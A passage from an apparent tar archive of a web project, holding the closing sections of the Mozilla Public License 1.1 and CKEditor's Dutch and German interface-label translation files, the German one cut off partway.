     survive any termination of this License. Provisions which, by their
     nature, must remain in effect beyond the termination of this License
     shall survive.

     8.2.  If You initiate litigation by asserting a patent infringement
     claim (excluding declatory judgment actions) against Initial Developer
     or a Contributor (the Initial Developer or Contributor against whom
     You file such action is referred to as "Participant")  alleging that:

     (a)  such Participant's Contributor Version directly or indirectly
     infringes any patent, then any and all rights granted by such
     Participant to You under Sections 2.1 and/or 2.2 of this License
     shall, upon 60 days notice from Participant terminate prospectively,
     unless if within 60 days after receipt of notice You either: (i)
     agree in writing to pay Participant a mutually agreeable reasonable
     royalty for Your past and future use of Modifications made by such
     Participant, or (ii) withdraw Your litigation claim with respect to
     the Contributor Version against such Participant.  If within 60 days
     of notice, a reasonable royalty and payment arrangement are not
     mutually agreed upon in writing by the parties or the litigation claim
     is not withdrawn, the rights granted by Participant to You under
     Sections 2.1 and/or 2.2 automatically terminate at the expiration of
     the 60 day notice period specified above.

     (b)  any software, hardware, or device, other than such Participant's
     Contributor Version, directly or indirectly infringes any patent, then
     any rights granted to You by such Participant under Sections 2.1(b)
     and 2.2(b) are revoked effective as of the date You first made, used,
     sold, distributed, or had made, Modifications made by that
     Participant.

     8.3.  If You assert a patent infringement claim against Participant
     alleging that such Participant's Contributor Version directly or
     indirectly infringes any patent where such claim is resolved (such as
     by license or settlement) prior to the initiation of patent
     infringement litigation, then the reasonable value of the licenses
     granted by such Participant under Sections 2.1 or 2.2 shall be taken
     into account in determining the amount or value of any payment or
     license.

     8.4.  In the event of termination under Sections 8.1 or 8.2 above,
     all end user license agreements (excluding distributors and resellers)
     which have been validly granted by You or any distributor hereunder
     prior to termination shall survive termination.

9. LIMITATION OF LIABILITY.

     UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT
     (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL
     DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE,
     OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR
     ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY
     CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL,
     WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER
     COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN
     INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF
     LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY
     RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW
     PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE
     EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO
     THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.

10. U.S. GOVERNMENT END USERS.

     The Covered Code is a "commercial item," as that term is defined in
     48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer
     software" and "commercial computer software documentation," as such
     terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48
     C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995),
     all U.S. Government End Users acquire Covered Code with only those
     rights set forth herein.

11. MISCELLANEOUS.

     This License represents the complete agreement concerning subject
     matter hereof. If any provision of this License is held to be
     unenforceable, such provision shall be reformed only to the extent
     necessary to make it enforceable. This License shall be governed by
     California law provisions (except to the extent applicable law, if
     any, provides otherwise), excluding its conflict-of-law provisions.
     With respect to disputes in which at least one party is a citizen of,
     or an entity chartered or registered to do business in the United
     States of America, any litigation relating to this License shall be
     subject to the jurisdiction of the Federal Courts of the Northern
     District of California, with venue lying in Santa Clara County,
     California, with the losing party responsible for costs, including
     without limitation, court costs and reasonable attorneys' fees and
     expenses. The application of the United Nations Convention on
     Contracts for the International Sale of Goods is expressly excluded.
     Any law or regulation which provides that the language of a contract
     shall be construed against the drafter shall not apply to this
     License.

12. RESPONSIBILITY FOR CLAIMS.

     As between Initial Developer and the Contributors, each party is
     responsible for claims and damages arising, directly or indirectly,
     out of its utilization of rights under this License and You agree to
     work with Initial Developer and Contributors to distribute such
     responsibility on an equitable basis. Nothing herein is intended or
     shall be deemed to constitute any admission of liability.

13. MULTIPLE-LICENSED CODE.

     Initial Developer may designate portions of the Covered Code as
     "Multiple-Licensed".  "Multiple-Licensed" means that the Initial
     Developer permits you to utilize portions of the Covered Code under
     Your choice of the NPL or the alternative licenses, if any, specified
     by the Initial Developer in the file described in Exhibit A.

EXHIBIT A -Mozilla Public License.

     ``The contents of this file are subject to the Mozilla Public License
     Version 1.1 (the "License"); you may not use this file except in
     compliance with the License. You may obtain a copy of the License at
     http://www.mozilla.org/MPL/

     Software distributed under the License is distributed on an "AS IS"
     basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
     License for the specific language governing rights and limitations
     under the License.

     The Original Code is ______________________________________.

     The Initial Developer of the Original Code is ________________________.
     Portions created by ______________________ are Copyright (C) ______
     _______________________. All Rights Reserved.

     Contributor(s): ______________________________________.

     Alternatively, the contents of this file may be used under the terms
     of the _____ license (the  "[___] License"), in which case the
     provisions of [______] License are applicable instead of those
     above.  If you wish to allow use of your version of this file only
     under the terms of the [____] License and not to allow others to use
     your version of this file under the MPL, indicate your decision by
     deleting  the provisions above and replace  them with the notice and
     other provisions required by the [___] License.  If you do not delete
     the provisions above, a recipient may use your version of this file
     under either the MPL or the [___] License."

     [NOTE: The text of this Exhibit A may differ slightly from the text of
     the notices in the Source Code files of the Original Code. You should
     use the text of this Exhibit A rather than the text found in the
     Original Code Source Code for Your Modifications.]
                                                                                                                                                                                                                                                                                                                                                                                                                               editors/acyeditor/acyeditor/ckeditor/lang/nl.js                                                     0000705                 00000026734 15242051521 0015666 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.lang['nl']={"editor":"Tekstverwerker","editorPanel":"Tekstverwerker beheerpaneel","common":{"editorHelp":"Druk ALT 0 voor hulp","browseServer":"Bladeren op server","url":"URL","protocol":"Protocol","upload":"Upload","uploadSubmit":"Naar server verzenden","image":"Afbeelding","flash":"Flash","form":"Formulier","checkbox":"Selectievinkje","radio":"Keuzerondje","textField":"Tekstveld","textarea":"Tekstvak","hiddenField":"Verborgen veld","button":"Knop","select":"Selectieveld","imageButton":"Afbeeldingsknop","notSet":"<niet ingevuld>","id":"Id","name":"Naam","langDir":"Schrijfrichting","langDirLtr":"Links naar rechts (LTR)","langDirRtl":"Rechts naar links (RTL)","langCode":"Taalcode","longDescr":"Lange URL-omschrijving","cssClass":"Stylesheet-klassen","advisoryTitle":"Adviserende titel","cssStyle":"Stijl","ok":"OK","cancel":"Annuleren","close":"Sluiten","preview":"Voorbeeld","resize":"Sleep om te herschalen","generalTab":"Algemeen","advancedTab":"Geavanceerd","validateNumberFailed":"Deze waarde is geen geldig getal.","confirmNewPage":"Alle aangebrachte wijzigingen gaan verloren. Weet u zeker dat u een nieuwe pagina wilt openen?","confirmCancel":"Enkele opties zijn gewijzigd. Weet u zeker dat u dit dialoogvenster wilt sluiten?","options":"Opties","target":"Doelvenster","targetNew":"Nieuw venster (_blank)","targetTop":"Hele venster (_top)","targetSelf":"Zelfde venster (_self)","targetParent":"Origineel venster (_parent)","langDirLTR":"Links naar rechts (LTR)","langDirRTL":"Rechts naar links (RTL)","styles":"Stijl","cssClasses":"Stylesheet-klassen","width":"Breedte","height":"Hoogte","align":"Uitlijning","alignLeft":"Links","alignRight":"Rechts","alignCenter":"Centreren","alignJustify":"Uitvullen","alignTop":"Boven","alignMiddle":"Midden","alignBottom":"Onder","alignNone":"Geen","invalidValue":"Ongeldige waarde.","invalidHeight":"De hoogte moet een getal zijn.","invalidWidth":"De breedte moet een getal zijn.","invalidCssLength":"Waarde in veld \"%1\" moet een positief nummer zijn, met of zonder een geldige CSS meeteenheid (px, %, in, cm, mm, em, ex, pt of pc).","invalidHtmlLength":"Waarde in veld \"%1\" moet een positief nummer zijn, met of zonder een geldige HTML meeteenheid (px of %).","invalidInlineStyle":"Waarde voor de online stijl moet bestaan uit een of meerdere tupels met het formaat \"naam : waarde\", gescheiden door puntkomma's.","cssLengthTooltip":"Geef een nummer in voor een waarde in pixels of geef een nummer in met een geldige CSS eenheid (px, %, in, cm, mm, em, ex, pt, of pc).","unavailable":"%1<span class=\"cke_accessibility\">, niet beschikbaar</span>"},"basicstyles":{"bold":"Vet","italic":"Cursief","strike":"Doorhalen","subscript":"Subscript","superscript":"Superscript","underline":"Onderstrepen"},"blockquote":{"toolbar":"Citaatblok"},"clipboard":{"copy":"Kopiëren","copyError":"De beveiligingsinstelling van de browser verhinderen het automatisch kopiëren. Gebruik de sneltoets Ctrl/Cmd+C van het toetsenbord.","cut":"Knippen","cutError":"De beveiligingsinstelling van de browser verhinderen het automatisch knippen. Gebruik de sneltoets Ctrl/Cmd+X van het toetsenbord.","paste":"Plakken","pasteArea":"Plakgebied","pasteMsg":"Plak de tekst in het volgende vak gebruikmakend van uw toetsenbord (<strong>Ctrl/Cmd+V</strong>) en klik op OK.","securityMsg":"Door de beveiligingsinstellingen van uw browser is het niet mogelijk om direct vanuit het klembord in de editor te plakken. Middels opnieuw plakken in dit venster kunt u de tekst alsnog plakken in de editor.","title":"Plakken"},"button":{"selectedLabel":"%1 (Geselecteerd)"},"colorbutton":{"auto":"Automatisch","bgColorTitle":"Achtergrondkleur","colors":{"000":"Zwart","800000":"Kastanjebruin","8B4513":"Chocoladebruin","2F4F4F":"Donkerleigrijs","008080":"Blauwgroen","000080":"Marine","4B0082":"Indigo","696969":"Donkergrijs","B22222":"Baksteen","A52A2A":"Bruin","DAA520":"Donkergeel","006400":"Donkergroen","40E0D0":"Turquoise","0000CD":"Middenblauw","800080":"Paars","808080":"Grijs","F00":"Rood","FF8C00":"Donkeroranje","FFD700":"Goud","008000":"Groen","0FF":"Cyaan","00F":"Blauw","EE82EE":"Violet","A9A9A9":"Donkergrijs","FFA07A":"Lichtzalm","FFA500":"Oranje","FFFF00":"Geel","00FF00":"Felgroen","AFEEEE":"Lichtturquoise","ADD8E6":"Lichtblauw","DDA0DD":"Pruim","D3D3D3":"Lichtgrijs","FFF0F5":"Linnen","FAEBD7":"Ivoor","FFFFE0":"Lichtgeel","F0FFF0":"Honingdauw","F0FFFF":"Azuur","F0F8FF":"Licht hemelsblauw","E6E6FA":"Lavendel","FFF":"Wit"},"more":"Meer kleuren...","panelTitle":"Kleuren","textColorTitle":"Tekstkleur"},"colordialog":{"clear":"Wissen","highlight":"Actief","options":"Kleuropties","selected":"Geselecteerde kleur","title":"Selecteer kleur"},"contextmenu":{"options":"Contextmenu opties"},"elementspath":{"eleLabel":"Elementenpad","eleTitle":"%1 element"},"font":{"fontSize":{"label":"Lettergrootte","voiceLabel":"Lettergrootte","panelTitle":"Lettergrootte"},"label":"Lettertype","panelTitle":"Lettertype","voiceLabel":"Lettertype"},"format":{"label":"Opmaak","panelTitle":"Opmaak","tag_address":"Adres","tag_div":"Normaal (DIV)","tag_h1":"Kop 1","tag_h2":"Kop 2","tag_h3":"Kop 3","tag_h4":"Kop 4","tag_h5":"Kop 5","tag_h6":"Kop 6","tag_p":"Normaal","tag_pre":"Met opmaak"},"horizontalrule":{"toolbar":"Horizontale lijn invoegen"},"image":{"alertUrl":"Geef de URL van de afbeelding","alt":"Alternatieve tekst","border":"Rand","btnUpload":"Naar server verzenden","button2Img":"Wilt u de geselecteerde afbeeldingsknop vervangen door een eenvoudige afbeelding?","hSpace":"HSpace","img2Button":"Wilt u de geselecteerde afbeelding vervangen door een afbeeldingsknop?","infoTab":"Informatie afbeelding","linkTab":"Link","lockRatio":"Afmetingen vergrendelen","menu":"Eigenschappen afbeelding","resetSize":"Afmetingen resetten","title":"Eigenschappen afbeelding","titleButton":"Eigenschappen afbeeldingsknop","upload":"Upload","urlMissing":"De URL naar de afbeelding ontbreekt.","vSpace":"VSpace","validateBorder":"Rand moet een heel nummer zijn.","validateHSpace":"HSpace moet een heel nummer zijn.","validateVSpace":"VSpace moet een heel nummer zijn."},"indent":{"indent":"Inspringing vergroten","outdent":"Inspringing verkleinen"},"justify":{"block":"Uitvullen","center":"Centreren","left":"Links uitlijnen","right":"Rechts uitlijnen"},"fakeobjects":{"anchor":"Interne link","flash":"Flash animatie","hiddenfield":"Verborgen veld","iframe":"IFrame","unknown":"Onbekend object"},"link":{"acccessKey":"Toegangstoets","advanced":"Geavanceerd","advisoryContentType":"Aanbevolen content-type","advisoryTitle":"Adviserende titel","anchor":{"toolbar":"Interne link","menu":"Eigenschappen interne link","title":"Eigenschappen interne link","name":"Naam interne link","errorName":"Geef de naam van de interne link op","remove":"Interne link verwijderen"},"anchorId":"Op kenmerk interne link","anchorName":"Op naam interne link","charset":"Karakterset van gelinkte bron","cssClasses":"Stylesheet-klassen","emailAddress":"E-mailadres","emailBody":"Inhoud bericht","emailSubject":"Onderwerp bericht","id":"Id","info":"Linkomschrijving","langCode":"Taalcode","langDir":"Schrijfrichting","langDirLTR":"Links naar rechts (LTR)","langDirRTL":"Rechts naar links (RTL)","menu":"Link wijzigen","name":"Naam","noAnchors":"(Geen interne links in document gevonden)","noEmail":"Geef een e-mailadres","noUrl":"Geef de link van de URL","other":"<ander>","popupDependent":"Afhankelijk (Netscape)","popupFeatures":"Instellingen popupvenster","popupFullScreen":"Volledig scherm (IE)","popupLeft":"Positie links","popupLocationBar":"Locatiemenu","popupMenuBar":"Menubalk","popupResizable":"Herschaalbaar","popupScrollBars":"Schuifbalken","popupStatusBar":"Statusbalk","popupToolbar":"Werkbalk","popupTop":"Positie boven","rel":"Relatie","selectAnchor":"Kies een interne link","styles":"Stijl","tabIndex":"Tabvolgorde","target":"Doelvenster","targetFrame":"<frame>","targetFrameName":"Naam doelframe","targetPopup":"<popupvenster>","targetPopupName":"Naam popupvenster","title":"Link","toAnchor":"Interne link in pagina","toEmail":"E-mail","toUrl":"URL","toolbar":"Link invoegen/wijzigen","type":"Linktype","unlink":"Link verwijderen","upload":"Upload"},"list":{"bulletedlist":"Opsomming invoegen","numberedlist":"Genummerde lijst invoegen"},"maximize":{"maximize":"Maximaliseren","minimize":"Minimaliseren"},"pastefromword":{"confirmCleanup":"De tekst die u wilt plakken lijkt gekopieerd te zijn vanuit Word. Wilt u de tekst opschonen voordat deze geplakt wordt?","error":"Het was niet mogelijk om de geplakte tekst op te schonen door een interne fout","title":"Plakken vanuit Word","toolbar":"Plakken vanuit Word"},"pastetext":{"button":"Plakken als platte tekst","title":"Plakken als platte tekst"},"removeformat":{"toolbar":"Opmaak verwijderen"},"sourcearea":{"toolbar":"Broncode"},"stylescombo":{"label":"Stijl","panelTitle":"Opmaakstijlen","panelTitle1":"Blok stijlen","panelTitle2":"Inline stijlen","panelTitle3":"Object stijlen"},"table":{"border":"Randdikte","caption":"Onderschrift","cell":{"menu":"Cel","insertBefore":"Voeg cel in voor","insertAfter":"Voeg cel in na","deleteCell":"Cellen verwijderen","merge":"Cellen samenvoegen","mergeRight":"Voeg samen naar rechts","mergeDown":"Voeg samen naar beneden","splitHorizontal":"Splits cel horizontaal","splitVertical":"Splits cel vertikaal","title":"Celeigenschappen","cellType":"Celtype","rowSpan":"Rijen samenvoegen","colSpan":"Kolommen samenvoegen","wordWrap":"Automatische terugloop","hAlign":"Horizontale uitlijning","vAlign":"Verticale uitlijning","alignBaseline":"Tekstregel","bgColor":"Achtergrondkleur","borderColor":"Randkleur","data":"Gegevens","header":"Kop","yes":"Ja","no":"Nee","invalidWidth":"De celbreedte moet een getal zijn.","invalidHeight":"De celhoogte moet een getal zijn.","invalidRowSpan":"Rijen samenvoegen moet een heel getal zijn.","invalidColSpan":"Kolommen samenvoegen moet een heel getal zijn.","chooseColor":"Kies"},"cellPad":"Celopvulling","cellSpace":"Celafstand","column":{"menu":"Kolom","insertBefore":"Voeg kolom in voor","insertAfter":"Voeg kolom in na","deleteColumn":"Kolommen verwijderen"},"columns":"Kolommen","deleteTable":"Tabel verwijderen","headers":"Koppen","headersBoth":"Beide","headersColumn":"Eerste kolom","headersNone":"Geen","headersRow":"Eerste rij","invalidBorder":"De randdikte moet een getal zijn.","invalidCellPadding":"Celopvulling moet een getal zijn.","invalidCellSpacing":"Celafstand moet een getal zijn.","invalidCols":"Het aantal kolommen moet een getal zijn groter dan 0.","invalidHeight":"De tabelhoogte moet een getal zijn.","invalidRows":"Het aantal rijen moet een getal zijn groter dan 0.","invalidWidth":"De tabelbreedte moet een getal zijn.","menu":"Tabeleigenschappen","row":{"menu":"Rij","insertBefore":"Voeg rij in voor","insertAfter":"Voeg rij in na","deleteRow":"Rijen verwijderen"},"rows":"Rijen","summary":"Samenvatting","title":"Tabeleigenschappen","toolbar":"Tabel","widthPc":"procent","widthPx":"pixels","widthUnit":"eenheid breedte"},"toolbar":{"toolbarCollapse":"Werkbalk inklappen","toolbarExpand":"Werkbalk uitklappen","toolbarGroups":{"document":"Document","clipboard":"Klembord/Ongedaan maken","editing":"Bewerken","forms":"Formulieren","basicstyles":"Basisstijlen","paragraph":"Paragraaf","links":"Links","insert":"Invoegen","styles":"Stijlen","colors":"Kleuren","tools":"Toepassingen"},"toolbars":"Werkbalken"},"undo":{"redo":"Opnieuw uitvoeren","undo":"Ongedaan maken"},"sourcedialog":{"toolbar":"Broncode","title":"Broncode"},"acymediabrowser":{"toolbar":"Afbeelding"},"addtag":{"toolbar":"Tags"},"smiley":{"toolbar":"Emojis"}};                                    editors/acyeditor/acyeditor/ckeditor/lang/de.js                                                     0000705                 00000027425 15242051521 0015643 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.lang['de']={"editor":"WYSIWYG-Editor","editorPanel":"WYSIWYG-Editor-Leiste","common":{"editorHelp":"Drücken Sie ALT 0 für Hilfe","browseServer":"Server durchsuchen","url":"URL","protocol":"Protokoll","upload":"Hochladen","uploadSubmit":"Zum Server senden","image":"Bild","flash":"Flash","form":"Formular","checkbox":"Checkbox","radio":"Radiobutton","textField":"Textfeld einzeilig","textarea":"Textfeld mehrzeilig","hiddenField":"Verstecktes Feld","button":"Klickbutton","select":"Auswahlfeld","imageButton":"Bildbutton","notSet":"<nichts>","id":"ID","name":"Name","langDir":"Schreibrichtung","langDirLtr":"Links nach Rechts (LTR)","langDirRtl":"Rechts nach Links (RTL)","langCode":"Sprachenkürzel","longDescr":"Langform URL","cssClass":"Stylesheet Klasse","advisoryTitle":"Titel Beschreibung","cssStyle":"Style","ok":"OK","cancel":"Abbrechen","close":"Schließen","preview":"Vorschau","resize":"Zum Vergrößern ziehen","generalTab":"Allgemein","advancedTab":"Erweitert","validateNumberFailed":"Dieser Wert ist keine Nummer.","confirmNewPage":"Alle nicht gespeicherten Änderungen gehen verlohren. Sind Sie sicher die neue Seite zu laden?","confirmCancel":"Einige Optionen wurden geändert. Wollen Sie den Dialog dennoch schließen?","options":"Optionen","target":"Zielseite","targetNew":"Neues Fenster (_blank)","targetTop":"Oberstes Fenster (_top)","targetSelf":"Gleiches Fenster (_self)","targetParent":"Oberes Fenster (_parent)","langDirLTR":"Links nach Rechts (LNR)","langDirRTL":"Rechts nach Links (RNL)","styles":"Style","cssClasses":"Stylesheet Klasse","width":"Breite","height":"Höhe","align":"Ausrichtung","alignLeft":"Links","alignRight":"Rechts","alignCenter":"Zentriert","alignJustify":"Blocksatz","alignTop":"Oben","alignMiddle":"Mitte","alignBottom":"Unten","alignNone":"Keine","invalidValue":"Ungültiger Wert.","invalidHeight":"Höhe muss eine Zahl sein.","invalidWidth":"Breite muss eine Zahl sein.","invalidCssLength":"Wert spezifiziert für \"%1\" Feld muss ein positiver numerischer Wert sein mit oder ohne korrekte CSS Messeinheit (px, %, in, cm, mm, em, ex, pt oder pc).","invalidHtmlLength":"Wert spezifiziert für \"%1\" Feld muss ein positiver numerischer Wert sein mit oder ohne korrekte HTML Messeinheit (px oder %).","invalidInlineStyle":"Wert spezifiziert für inline Stilart muss enthalten ein oder mehr Tupels mit dem Format \"Name : Wert\" getrennt mit Semikolons.","cssLengthTooltip":"Gebe eine Zahl ein für ein Wert in pixels oder eine Zahl mit einer korrekten CSS Messeinheit (px, %, in, cm, mm, em, ex, pt oder pc).","unavailable":"%1<span class=\"cke_accessibility\">, nicht verfügbar</span>"},"basicstyles":{"bold":"Fett","italic":"Kursiv","strike":"Durchgestrichen","subscript":"Tiefgestellt","superscript":"Hochgestellt","underline":"Unterstrichen"},"blockquote":{"toolbar":"Zitatblock"},"clipboard":{"copy":"Kopieren","copyError":"Die Sicherheitseinstellungen Ihres Browsers lassen es nicht zu, den Text automatisch kopieren. Bitte benutzen Sie die System-Zwischenablage über STRG-C (kopieren).","cut":"Ausschneiden","cutError":"Die Sicherheitseinstellungen Ihres Browsers lassen es nicht zu, den Text automatisch auszuschneiden. Bitte benutzen Sie die System-Zwischenablage über STRG-X (ausschneiden) und STRG-V (einfügen).","paste":"Einfügen","pasteArea":"Einfügebereich","pasteMsg":"Bitte fügen Sie den Text in der folgenden Box über die Tastatur (mit <STRONG>Strg+V</STRONG>) ein und bestätigen Sie mit <STRONG>OK</STRONG>.","securityMsg":"Aufgrund von Sicherheitsbeschränkungen Ihres Browsers kann der Editor nicht direkt auf die Zwischenablage zugreifen. Bitte fügen Sie den Inhalt erneut in diesem Fenster ein.","title":"Einfügen"},"button":{"selectedLabel":"%1 (Ausgewählt)"},"colorbutton":{"auto":"Automatisch","bgColorTitle":"Hintergrundfarbe","colors":{"000":"Schwarz","800000":"Kastanienbraun","8B4513":"Braun","2F4F4F":"Dunkles Schiefergrau","008080":"Blaugrün","000080":"Navy","4B0082":"Indigo","696969":"Dunkelgrau","B22222":"Ziegelrot","A52A2A":"Braun","DAA520":"Goldgelb","006400":"Dunkelgrün","40E0D0":"Türkis","0000CD":"Medium Blau","800080":"Lila","808080":"Grau","F00":"Rot","FF8C00":"Dunkelorange","FFD700":"Gold","008000":"Grün","0FF":"Cyan","00F":"Blau","EE82EE":"Hellviolett","A9A9A9":"Dunkelgrau","FFA07A":"Helles Lachsrosa","FFA500":"Orange","FFFF00":"Gelb","00FF00":"Lime","AFEEEE":"Blaß-Türkis","ADD8E6":"Hellblau","DDA0DD":"Pflaumenblau","D3D3D3":"Hellgrau","FFF0F5":"Lavendel","FAEBD7":"Antik Weiß","FFFFE0":"Hellgelb","F0FFF0":"Honigtau","F0FFFF":"Azurblau","F0F8FF":"Alice Blau","E6E6FA":"Lavendel","FFF":"Weiß"},"more":"Weitere Farben...","panelTitle":"Farben","textColorTitle":"Textfarbe"},"colordialog":{"clear":"Entfernen","highlight":"Hervorheben","options":"Farbeoptionen","selected":"Ausgewählte Farbe","title":"Farbe wählen"},"contextmenu":{"options":"Kontextmenü Optionen"},"elementspath":{"eleLabel":"Elements Pfad","eleTitle":"%1 Element"},"font":{"fontSize":{"label":"Größe","voiceLabel":"Schrifgröße","panelTitle":"Größe"},"label":"Schriftart","panelTitle":"Schriftart","voiceLabel":"Schriftart"},"format":{"label":"Format","panelTitle":"Format","tag_address":"Addresse","tag_div":"Normal (DIV)","tag_h1":"Überschrift 1","tag_h2":"Überschrift 2","tag_h3":"Überschrift 3","tag_h4":"Überschrift 4","tag_h5":"Überschrift 5","tag_h6":"Überschrift 6","tag_p":"Normal","tag_pre":"Formatiert"},"horizontalrule":{"toolbar":"Horizontale Linie einfügen"},"image":{"alertUrl":"Bitte geben Sie die Bild-URL an","alt":"Alternativer Text","border":"Rahmen","btnUpload":"Zum Server senden","button2Img":"Möchten Sie den gewählten Bild-Button in ein einfaches Bild umwandeln?","hSpace":"Horizontal-Abstand","img2Button":"Möchten Sie das gewählten Bild in einen Bild-Button umwandeln?","infoTab":"Bild-Info","linkTab":"Link","lockRatio":"Größenverhältnis beibehalten","menu":"Bild-Eigenschaften","resetSize":"Größe zurücksetzen","title":"Bild-Eigenschaften","titleButton":"Bildbutton-Eigenschaften","upload":"Hochladen","urlMissing":"Imagequelle URL fehlt.","vSpace":"Vertikal-Abstand","validateBorder":"Rahmen muß eine ganze Zahl sein.","validateHSpace":"Horizontal-Abstand muß eine ganze Zahl sein.","validateVSpace":"Vertikal-Abstand muß eine ganze Zahl sein."},"indent":{"indent":"Einzug erhöhen","outdent":"Einzug verringern"},"justify":{"block":"Blocksatz","center":"Zentriert","left":"Linksbündig","right":"Rechtsbündig"},"fakeobjects":{"anchor":"Anker","flash":"Flash Animation","hiddenfield":"Verstecktes Feld","iframe":"IFrame","unknown":"Unbekanntes Objekt"},"link":{"acccessKey":"Zugriffstaste","advanced":"Erweitert","advisoryContentType":"Inhaltstyp","advisoryTitle":"Titel Beschreibung","anchor":{"toolbar":"Anker einfügen/editieren","menu":"Anker-Eigenschaften","title":"Anker-Eigenschaften","name":"Anker Name","errorName":"Bitte geben Sie den Namen des Ankers ein","remove":"Anker entfernen"},"anchorId":"nach Element Id","anchorName":"nach Anker Name","charset":"Ziel-Zeichensatz","cssClasses":"Stylesheet Klasse","emailAddress":"E-Mail Adresse","emailBody":"Nachrichtentext","emailSubject":"Betreffzeile","id":"Id","info":"Link-Info","langCode":"Sprachenkürzel","langDir":"Schreibrichtung","langDirLTR":"Links nach Rechts (LTR)","langDirRTL":"Rechts nach Links (RTL)","menu":"Link editieren","name":"Name","noAnchors":"(keine Anker im Dokument vorhanden)","noEmail":"Bitte geben Sie e-Mail Adresse an","noUrl":"Bitte geben Sie die Link-URL an","other":"<andere>","popupDependent":"Abhängig (Netscape)","popupFeatures":"Pop-up Fenster-Eigenschaften","popupFullScreen":"Vollbild (IE)","popupLeft":"Linke Position","popupLocationBar":"Adress-Leiste","popupMenuBar":"Menü-Leiste","popupResizable":"Größe änderbar","popupScrollBars":"Rollbalken","popupStatusBar":"Statusleiste","popupToolbar":"Symbolleiste","popupTop":"Obere Position","rel":"Beziehung","selectAnchor":"Anker auswählen","styles":"Style","tabIndex":"Tab-Index","target":"Zielseite","targetFrame":"<Frame>","targetFrameName":"Ziel-Fenster-Name","targetPopup":"<Pop-up Fenster>","targetPopupName":"Pop-up Fenster-Name","title":"Link","toAnchor":"Anker in dieser Seite","toEmail":"E-Mail","toUrl":"URL","toolbar":"Link einfügen/editieren","type":"Link-Typ","unlink":"Link entfernen","upload":"Hochladen"},"list":{"bulletedlist":"Liste","numberedlist":"Nummerierte Liste"},"maximize":{"maximize":"Maximieren","minimize":"Minimieren"},"pastefromword":{"confirmCleanup":"Der Text, den Sie einfügen möchten, scheint aus MS-Word kopiert zu sein. Möchten Sie ihn zuvor bereinigen lassen?","error":"Aufgrund eines internen Fehlers war es nicht möglich die eingefügten Daten zu bereinigen","title":"Aus MS-Word einfügen","toolbar":"Aus MS-Word einfügen"},"pastetext":{"button":"Als Text einfügen","title":"Als Text einfügen"},"removeformat":{"toolbar":"Formatierungen entfernen"},"sourcearea":{"toolbar":"Quellcode"},"stylescombo":{"label":"Stil","panelTitle":"Formatierungsstile","panelTitle1":"Block Stilart","panelTitle2":"Inline Stilart","panelTitle3":"Objekt Stilart"},"table":{"border":"Rahmen","caption":"Überschrift","cell":{"menu":"Zelle","insertBefore":"Zelle davor einfügen","insertAfter":"Zelle danach einfügen","deleteCell":"Zelle löschen","merge":"Zellen verbinden","mergeRight":"Nach rechts verbinden","mergeDown":"Nach unten verbinden","splitHorizontal":"Zelle horizontal teilen","splitVertical":"Zelle vertikal teilen","title":"Zellen-Eigenschaften","cellType":"Zellart","rowSpan":"Anzahl Zeilen verbinden","colSpan":"Anzahl Spalten verbinden","wordWrap":"Zeilenumbruch","hAlign":"Horizontale Ausrichtung","vAlign":"Vertikale Ausrichtung","alignBaseline":"Grundlinie","bgColor":"Hintergrundfarbe","borderColor":"Rahmenfarbe","data":"Daten","header":"Überschrift","yes":"Ja","no":"Nein","invalidWidth":"Zellenbreite muß eine Zahl sein.","invalidHeight":"Zellenhöhe muß eine Zahl sein.","invalidRowSpan":"\"Anzahl Zeilen verbinden\" muss eine Ganzzahl sein.","invalidColSpan":"\"Anzahl Spalten verbinden\" muss eine Ganzzahl sein.","chooseColor":"Wählen"},"cellPad":"Zellenabstand innen","cellSpace":"Zellenabstand außen","column":{"menu":"Spalte","insertBefore":"Spalte links davor einfügen","insertAfter":"Spalte rechts danach einfügen","deleteColumn":"Spalte löschen"},"columns":"Spalte","deleteTable":"Tabelle löschen","headers":"Kopfzeile","headersBoth":"Beide","headersColumn":"Erste Spalte","headersNone":"Keine","headersRow":"Erste Zeile","invalidBorder":"Die Rahmenbreite muß eine Zahl sein.","invalidCellPadding":"Der Zellenabstand innen muß eine positive Zahl sein.","invalidCellSpacing":"Der Zellenabstand außen muß eine positive Zahl sein.","invalidCols":"Die Anzahl der Spalten muß größer als 0 sein..","invalidHeight":"Die Tabellenbreite muß eine Zahl sein.","invalidRows":"Die Anzahl der Zeilen muß größer als 0 sein.","invalidWidth":"Die Tabellenbreite muss eine Zahl sein.","menu":"Tabellen-Eigenschaften","row":{"menu":"Zeile","insertBefore":"Zeile oberhalb einfügen","insertAfter":"Zeile unterhalb einfügen","deleteRow":"Zeile entfernen"},"rows":"Zeile","summary":"Inhaltsübersicht","title":"Tabellen-Eigenschaften","toolbar":"Tabelle","widthPc":"%","widthPx":"Pixel","widthUnit":"Breite 